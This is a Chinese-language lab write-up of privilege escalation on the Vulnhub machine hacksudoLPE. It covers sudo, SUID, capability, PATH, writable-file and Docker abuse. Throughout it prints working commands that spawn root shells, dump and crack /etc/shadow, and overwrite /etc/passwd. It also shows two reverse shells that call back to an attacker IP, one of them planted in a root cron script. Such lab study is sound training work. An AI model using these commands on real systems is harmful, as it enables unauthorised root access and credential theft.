Vulnhub靶机:hacksudoLPE

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudoLPE(10.0.2.47)

目标:获取靶机root权限和flag,该靶机是一个练习提权的靶场,主要以提权为主

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-lpe,698/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.47

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:22、80

在这里插入图片描述

80端口:打开网站发现是一个登录页面,先查看源码发现了隐藏信息:

<font color='white'>
<h3>Username : admin</h3>
<h3>Password : hacksudo</h3>
</font>

在这里插入图片描述
在这里插入图片描述

使用获得的用户名密码登录网站

在这里插入图片描述

三、提权

Challenge 1:Sudo滥用挑战

1)apt-get

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行apt-get

在这里插入图片描述

搜索利用方法:apt get | GTFOBins

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

在这里插入图片描述

获取flag:viluhacker

在这里插入图片描述

所有flag都是一样的为/root/root.txt文件,后续不再附截图了

2)arp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行arp

在这里插入图片描述

搜索利用方法:arp | GTFOBins

LFILE=/etc/shadow
sudo arp -v -f "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格

在这里插入图片描述

切换为root用户

在这里插入图片描述

获取flag:viluhacker

3)awk

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行awk

在这里插入图片描述

搜索利用方法:awk | GTFOBins

sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述

获取flag:viluhacker

4)base32

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行base32

在这里插入图片描述

搜索利用方法:base32 | GTFOBins

LFILE=/etc/shadow
sudo base32 "$LFILE" | base32 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

5)base64

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行base64

在这里插入图片描述

搜索利用方法:base64 | GTFOBins

LFILE=/etc/shadow
sudo base64 "$LFILE" | base64 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

6)cat

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cat

在这里插入图片描述

搜索利用方法:cat | GTFOBins

LFILE=/etc/shadow
sudo cat "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

7)comm

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行comm

在这里插入图片描述

搜索利用方法:comm | GTFOBins

LFILE=/etc/shadow
sudo comm $LFILE /dev/null 2>/dev/null

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

8)cp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cp

在这里插入图片描述

搜索利用方法:cp | GTFOBins

LFILE=/etc/shadow
sudo cp "$LFILE" /dev/stdout

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

9)curl

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行curl

在这里插入图片描述

搜索利用方法:curl | GTFOBins

LFILE=/etc/shadow
sudo curl file://$LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

10)cut

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cut

在这里插入图片描述

搜索利用方法:cut | GTFOBins

sudo cut -d "" -f1 /etc/shadow

在这里插入图片描述

获取flag:viluhacker

11)dash

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行dash

在这里插入图片描述

搜索利用方法:dash | GTFOBins

sudo dash

在这里插入图片描述

获取flag:viluhacker

12)date

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行date

在这里插入图片描述

搜索利用方法:date | GTFOBins

LFILE=/etc/shadow
sudo date -f $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

13)diff

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行diff

在这里插入图片描述

搜索利用方法:diff | GTFOBins

LFILE=/etc/shadow
sudo diff --line-format=%L /dev/null $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

14)find

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行find

在这里插入图片描述

搜索利用方法:find | GTFOBins

sudo find . -exec /bin/sh \; -quit

在这里插入图片描述

获取flag:viluhacker

15)ftp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行ftp

在这里插入图片描述

搜索利用方法:ftp | GTFOBins

sudo ftp
!/bin/sh

在这里插入图片描述

获取flag:viluhacker

16)gcc

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行gcc

在这里插入图片描述

搜索利用方法:gcc | GTFOBins

sudo gcc -wrapper /bin/sh,-s .

在这里插入图片描述

获取flag:viluhacker

17)gdb

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行gdb

在这里插入图片描述

搜索利用方法:gdb | GTFOBins

sudo gdb -nx -ex '!sh' -ex quit

在这里插入图片描述

获取flag:viluhacker

18)ip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行ip

在这里插入图片描述

搜索利用方法:ip | GTFOBins

LFILE=/etc/shadow
sudo ip -force -batch "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

19)pip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行pip

在这里插入图片描述

搜索利用方法:pip | GTFOBins

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

在这里插入图片描述

靶机没有安装pip,提权不了

20)perl

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行perl

在这里插入图片描述

搜索利用方法:perl | GTFOBins

sudo perl -e 'exec "/bin/sh";'

在这里插入图片描述

获取flag:viluhacker

21)socket

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行socket

在这里插入图片描述

搜索利用方法:socket | GTFOBins

攻击机执行:
nc -l -p 12345

靶机执行:
RHOST=10.0.2.15
RPORT=12345
sudo socket -qvp '/bin/sh -i' $RHOST $RPORT

在这里插入图片描述
在这里插入图片描述

获取flag:viluhacker

22)vi

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行vi

在这里插入图片描述

搜索利用方法:vi | GTFOBins

sudo vi -c ':!/bin/sh' /dev/null

在这里插入图片描述

获取flag:viluhacker

23)view

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行view

在这里插入图片描述

搜索利用方法:view | GTFOBins

sudo view -c ':!/bin/sh'

在这里插入图片描述

获取flag:viluhacker

24)wget

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行wget

在这里插入图片描述

搜索利用方法:wget | GTFOBins

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0

在这里插入图片描述

获取flag:viluhacker

25)watch

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行watch

在这里插入图片描述

搜索利用方法:watch | GTFOBins

sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'

在这里插入图片描述

获取flag:viluhacker

26)xxd

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行xxd

在这里插入图片描述

搜索利用方法:xxd | GTFOBins

LFILE=/etc/shadow
sudo xxd "$LFILE" | xxd -r

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

27)zip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行zip

在这里插入图片描述

搜索利用方法:zip | GTFOBins

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

在这里插入图片描述

获取flag:viluhacker

Challenge 2:SUID滥用挑战

1)ar

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:ar | GTFOBins

TF=$(mktemp -u)
LFILE=/etc/shadow
./ar r "$TF" "$LFILE"
cat "$TF"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

2)ash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

r00t和ash文件字节数一样,r00t文件应该是ash

在这里插入图片描述

搜索利用方法:ash | GTFOBins

./r00t -p

在这里插入图片描述

获取flag:viluhacker

3)atobm

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

未发现该程序

搜索利用方法:atobm | GTFOBins

LFILE=/etc/shadow
./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
4)base32

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为base32

在这里插入图片描述

搜索利用方法:base32 | GTFOBins

LFILE=/etc/shadow
./dont "$LFILE" | base32 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

5)bash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:bash | GTFOBins

./bash -p

在这里插入图片描述

获取flag:viluhacker

6)cat

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为cat

在这里插入图片描述

搜索利用方法:cat | GTFOBins

LFILE=/etc/shadow
./hackme "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

7)chmod

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为chmod

在这里插入图片描述

搜索利用方法:chmod | GTFOBins

LFILE=/etc/shadow
./run 6777 $LFILE
cat /etc/shadow

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

8)chroot

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是chroot

在这里插入图片描述

搜索利用方法:chroot | GTFOBins

./rootme / /bin/sh -p

在这里插入图片描述

获取flag:viluhacker

9)cp

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cp

在这里插入图片描述
在这里插入图片描述

搜索利用方法:cp | GTFOBins

LFILE=/etc/shadow
./do "$LFILE" /dev/stdout

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

10)cpulimit

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cpulimit

在这里插入图片描述

搜索利用方法:cpulimit | GTFOBins

./take -l 100 -f -- /bin/sh -p

在这里插入图片描述

获取flag:viluhacker

11)cut

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cut

在这里插入图片描述
在这里插入图片描述

搜索利用方法:cut | GTFOBins

LFILE=/etc/shadow
./cut -d "" -f1 "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

12)dash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:dash | GTFOBins

./shell -p

在这里插入图片描述

获取flag:viluhacker

13)date

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序为date

在这里插入图片描述
在这里插入图片描述

搜索利用方法:date | GTFOBins

./date -f /etc/shadow

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

14)make

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序为make

在这里插入图片描述

搜索利用方法:make | GTFOBins

COMMAND='/bin/sh -p'
./fast -s --eval=$'x:\n\t-'"$COMMAND"

在这里插入图片描述

获取flag:viluhacker

Challenge 3:Capabilities滥用挑战

1)gdb

登录虚拟终端后,getcap -r / 2>/dev/null查看可执行的文件,来获取内核权限

发现没有回显,getcap 命令不存在

在这里插入图片描述

我们先看一下当前用户home目录下所有文件,发现在./capabiliti/rip4/hack8文件夹里面有一个gdb文件,根据挑战提示,应该是要用gdb文件进行提权

ls -R -la

在这里插入图片描述

搜索利用方法:gdb | GTFOBins

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

在这里插入图片描述

获取flag:viluhacker

2)node

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个node文件,根据挑战提示,应该是要用node文件进行提权

在这里插入图片描述

搜索利用方法:node | GTFOBins

./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

在这里插入图片描述

获取flag:viluhacker

3)perl

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个perl文件,根据挑战提示,应该是要用perl文件进行提权

在这里插入图片描述

搜索利用方法:perl | GTFOBins

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

在这里插入图片描述

获取flag:viluhacker

4)php

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现两个php文件,根据挑战提示,应该是要用php文件进行提权

在这里插入图片描述
在这里插入图片描述

搜索利用方法:php | GTFOBins

CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"

在这里插入图片描述

获取flag:viluhacker

5)python

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个python文件,根据挑战提示,应该是要用python文件进行提权

在这里插入图片描述

搜索利用方法:python | GTFOBins

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述

获取flag:viluhacker

6)ruby

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,但该用户home文件夹下的文件夹太多了,我们直接用find命令进行查找find ./ -name ruby,发现一个ruby文件,根据挑战提示,应该是要用ruby文件进行提权

在这里插入图片描述

搜索利用方法:ruby | GTFOBins

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

在这里插入图片描述

获取flag:viluhacker

7)python3

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个python3文件,根据挑战提示,应该是要用python3文件进行提权

在这里插入图片描述

搜索利用方法:python | GTFOBins

./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述

获取flag:viluhacker

Challenge 4:PATH 变量滥用

1)apt-get

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

直接执行该文件看看,发现该文件调用了apt-get命令

在这里插入图片描述

可以用strings查看该文件包含的字符串strings /home/user53/shell

在这里插入图片描述

可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > apt-get
chmod 777 apt-get
echo $PATH
export PATH=/tmp:$PATH
/home/user53/shell

在这里插入图片描述

获取flag:viluhacker

2)ftp

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

可以用strings查看该文件包含的字符串strings /home/user54/run

在这里插入图片描述

直接执行看看

在这里插入图片描述

应该是该文件先设置uid然后调用了ftp命令,可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > ftp
chmod 777 ftp
export PATH=/tmp:$PATH
/home/user54/run

在这里插入图片描述

获取flag:viluhacker

Challenge 5:可写文件滥用

1)/etc/passwd

登录虚拟终端后,查看/etc目录,并未发现该用户对passwd文件具有写权限,但在该用户的home目录下发现具有suid权限的curl文件

在这里插入图片描述
在这里插入图片描述

可以利用curl文件读取shadow文件进行破解提权,但本次挑战既然是/etc/passwd可写文件滥用,那我们就通过写入/etc/passwd文件的方式进行提权

利用Perl和crypt来使用salt值为我们的密码生成哈希值

perl -le 'print crypt("123456","addedsalt")'

将靶机的passwd复制到攻击机,在passwd添加一条数据,用户名:test 密码: 123456 登录主机,登录成功后,是 root 权限

test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash

使用curl命令将passwd上传到靶机,覆盖靶机passwd文件

查找curl具体用法:curl | GTFOBins

cp /etc/passwd /tmp/passwd.bak
URL=http://10.0.2.15/passwd
LFILE=/etc/passwd
./curl $URL -o $LFILE

在这里插入图片描述

查看/etc/passwd发现存在test用户

在这里插入图片描述

切换为test用户,为root权限

在这里插入图片描述

获取flag:viluhacker

2)script

登录虚拟终端后,ls -la查看当前用户home目录下的文件,发现一个writable.py文件,该文件具有suid权限

在这里插入图片描述

查看writable.py文件的内容,发现该文件调用了os、sys模块,并且尝试修改该文件,发现没有修改权限

在这里插入图片描述

想到调用了os、sys模块,是不是可以修改os或sys模块来达到提权的目的。未发现可编辑的模块。也可能是我思考的方向不对。

扩展:user59用户提权

登录虚拟终端后,查看计划任务:cat /etc/crontab,发现每分钟会以root权限执行/home/user59/cleanup.py文件

在这里插入图片描述

查看该脚本文件,发现我们有该文件的编辑权限

在这里插入图片描述

可以修改该文件进行提权

bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

在这里插入图片描述
在这里插入图片描述

获取flag:viluhacker

Challenge 6:文件读取滥用

1)cpio

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:cpio | GTFOBins,可以读取任意文件

LFILE=/etc/shadow
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

2)git

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:git | GTFOBins,可以读取任意文件

LFILE=/etc/sh
./git diff /dev/null $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

Challenge 7:Docker 滥用

1)docker

登录虚拟终端后,使用id命令发现用户在docker组里面,可以使用docker进行提权

在这里插入图片描述

使用命令:docker images,用于查看本地已下载的镜像,刚开始镜像是不存在的,需要自己进行导入docker pull alpine

由于我的环境靶机和互联网不通,我使用的是离线导入,使用安装登录docker的虚拟机导入镜像,然后将镜像打包上传到靶机

主机导入镜像并打包

sudo docker pull alpine
docker save alpine:latest -o /home/huang/alpine.tar

在这里插入图片描述

靶机离线导入镜像

docker load -i alpine.tar

在这里插入图片描述

搜索利用方法:docker | GTFOBins

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

在这里插入图片描述

Challenge 8:通配符滥用

1)Wildcard

尝试登录虚拟终端,发现不存在该用户名wildcard,没有环境。

靶机上倒是有用户名user61,可能是通配符提权的环境,但登录进去没有找到提权思路。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/376633.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java 语法糖

Java 语法糖 switch 支持 String 与枚举自动装箱与拆箱泛型可变参数 ...枚举内部类断言for-each 语法糖指在计算机语言中添加的某种语法&#xff0c;这种语法对语言的功能并没有影响&#xff0c;但是更方便程序员使用 带有语法糖的代码一般不能直接翻译为汇编语言&#xff0c;J…

数据结构·复杂度讲解

1. 什么是数据结构 数据结构(Data Structure)是计算机存储、组织数据的方式&#xff0c;指相互之间存在一种或多种特定关系的数据元素的集合。 数据结构是用来在内存中管理数据的&#xff0c;类似的&#xff0c;我们熟悉的文件或数据库是在硬盘中管理数据的。内存中的数据是带点…

鸿蒙开发系列教程(十五)--gesture 手势事件

gesture 手势事件 手势操作是指在移动设备上使用手指或手势进行与应用程序交互的方式。手势操作可以包括点击、滑动、双击、捏合等动作&#xff0c;用于实现不同的功能和操作。 gesture 常规手势 参考代码&#xff1a; Entry Component struct Test03 {build() {Column() {…

C++ map和set

1. 关联式容器 序列式容器&#xff1a;因为其底层为线性序列的数据结构&#xff0c;里面存储的是元素本身&#xff0c;比如&#xff1a;vector、list、deque 关联式容器也是用来存储数据的&#xff0c;与序列式容器不同的是&#xff0c;其里面存储的是结构的键值对&#xff0…

【golang】24、go get 和 go mod:indrect 与 go mod tidy

文章目录 go get 会执行如下操作&#xff1a; 操作 go.mod 文件&#xff08;add、update、remove&#xff09;下载依赖到 $GOPATH/pkg/mod 中若已安装&#xff0c;则更新该包&#xff0c;到最新版本 试验前置准备&#xff1a;首先删除已下载的依赖&#xff0c;rm -rf $GOPATH…

STM32——LCD(1)认识

目录 一、初识LCD 1. LCD介绍 2. 像素 3. LED和OLED显示器 4. 显示器的基本参数 &#xff08;1&#xff09;像素 &#xff08;2&#xff09;分辨率 &#xff08;3&#xff09;色彩深度 &#xff08;4&#xff09;显示器尺寸 &#xff08;5&#xff09;点距 二、液晶…

[word] word大小写快捷键是什么? #知识分享#学习方法#笔记

word大小写快捷键是什么&#xff1f; word转换大小写的快捷方式是按“ShiftF3”。设置方法如下&#xff1a; 1、在电脑桌面找到需要转换大小写的文档&#xff0c;右键单击打开它。 2、打开文档之后&#xff0c;在文档里面选中需要转换的段落。 3、选中了之后在键盘里面找到“…

【已解决】onnx转换为rknn置信度大于1,图像出现乱框问题解决

前言 环境介绍&#xff1a; 1.编译环境 Ubuntu 18.04.5 LTS 2.RKNN版本 py3.8-rknn2-1.4.0 3.单板 迅为itop-3568开发板 一、现象 采用yolov5训练并将pt转换为onnx&#xff0c;再将onnx采用py3.8-rknn2-1.4.0推理转换为rknn出现置信度大于1&#xff0c;并且图像乱框问题…

Python操作Word表格对齐、单元格对齐

通过Table的alignment可以设置表格居左对齐、居中对齐、居右对齐。通过Cell的vertical_alignment可以设置垂直位置。通过单元格里段落的alignment可以设置文本的左右对齐方式。 import docx from docx.enum.table import WD_TABLE_ALIGNMENT, WD_CELL_VERTICAL_ALIGNMENT from…

李宏毅LLM——大模型+大资料的神奇力量

文章目录 大模型的重要性顿悟时刻 大资料的重要性数据预处理不一样的做法&#xff1a;KNN LM 对应视频P12-P14 大模型的重要性 模型参数和数据集越大&#xff0c;文字接龙的错误率越低 顿悟时刻 当模型超过10B-20B时&#xff0c;会突然顿悟 启示&#xff1a;不能只看最终结…

软件定义网络 SDN 简介、OpenFlow

目录 软件定义网络 SDN 简介 1 SDN 与 协议 OpenFlow 1.1 SDN 1.2 OpenFlow 1.2.1 协议 OpenFlow 1.2.2 OpenFlow 数据层面 &#xff08;1&#xff09;匹配 动作 &#xff08;2&#xff09;流表 1.流表由远程控制器管理 2.流表结构 2 SDN 体系结构 3 SDN 控制器 软…

机器学习--K近邻算法,以及python中通过Scikit-learn库实现K近邻算法API使用技巧

文章目录 1.K-近邻算法思想2.K-近邻算法(KNN)概念3.电影类型分析4.KNN算法流程总结5.k近邻算法api初步使用机器学习库scikit-learn1 Scikit-learn工具介绍2.安装3.Scikit-learn包含的内容4.K-近邻算法API5.案例5.1 步骤分析5.2 代码过程 1.K-近邻算法思想 假如你有一天来到北京…

【 buuctf-后门查杀】

采用 D 盾进行扫描查杀 有一个级别为 5 的扫描结果&#xff0c;记事本打开&#xff0c;即为 flag

【保姆级教程|YOLOv8改进】【6】快速涨点,SPD-Conv助力低分辨率与小目标检测

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

Python进阶--爬取下载人生格言(基于格言网的Python3爬虫)

目录 一、此处需要安装第三方库: 二、抓包分析及Python代码 1、打开人生格言网&#xff08;人生格言-人生格言大全_格言网&#xff09;进行抓包分析 2、请求模块的代码 3、抓包分析人生格言界面 4、获取各种类型的人生格言链接 5、获取下一页的链接 6、获取人生格言的…

最新话费充值系统源码,附带系统安装教程

搭建教程 亲测环境&#xff1a;PHP7.0MySQL5.6 PHP扩展安装&#xff1a;sg11 数据库配置文件路径&#xff1a;/config/database.php 伪静态设置为thinkphp 后台地址&#xff1a;/admin 账号密码&#xff1a;admin/123456

SpringBoot源码解读与原理分析(八)ApplicationContext

文章目录 3.1.2 ApplicationContext3.1.2.1 ApplicationContext根接口3.1.2.2 ConfigurableApplicationContext3.1.2.3 EnvironmentCapable3.1.2.4 MessageSource3.1.2.5 ApplicationEventPublisher3.1.2.6 ResourcePatternResolver3.1.2.7 AbstractApplicationContext3.1.2.8 …

当我们一起走过 2023|Apache Doris 年度时刻盘点

2024 年的第一个月已经彻底过去&#xff0c;2023 年的回顾总结才姗姗来迟。 在过去一年的大多数时间里&#xff0c;我们一直处于忙碌的状态中&#xff0c;紧锣密鼓的代码研发、高速推进的版本迭代、行程紧密的全国之行&#xff0c;众多社区用户与开发者皆是见证。 越是忙碌&a…

Yearning审核平台本地安装配置并结合内网穿透实现远程访问

文章目录 前言1. Linux 部署Yearning2. 本地访问Yearning3. Linux 安装cpolar4. 配置Yearning公网访问地址5. 公网远程访问Yearning管理界面6. 固定Yearning公网地址 前言 Yearning 简单, 高效的MYSQL 审计平台 一款MYSQL SQL语句/查询审计工具&#xff0c;为DBA与开发人员使用…

vector类的模拟实现

实现基本的vector框架 参考的是STL的一些源码&#xff0c;实现的vector也是看起来像是一个简略版的&#xff0c;但是看完能对vector这个类一些接口函数更好的认识。 我们写写成员变量&#xff0c;先来看看STL的成元变量是那些 namespace tjl {template<class T>class …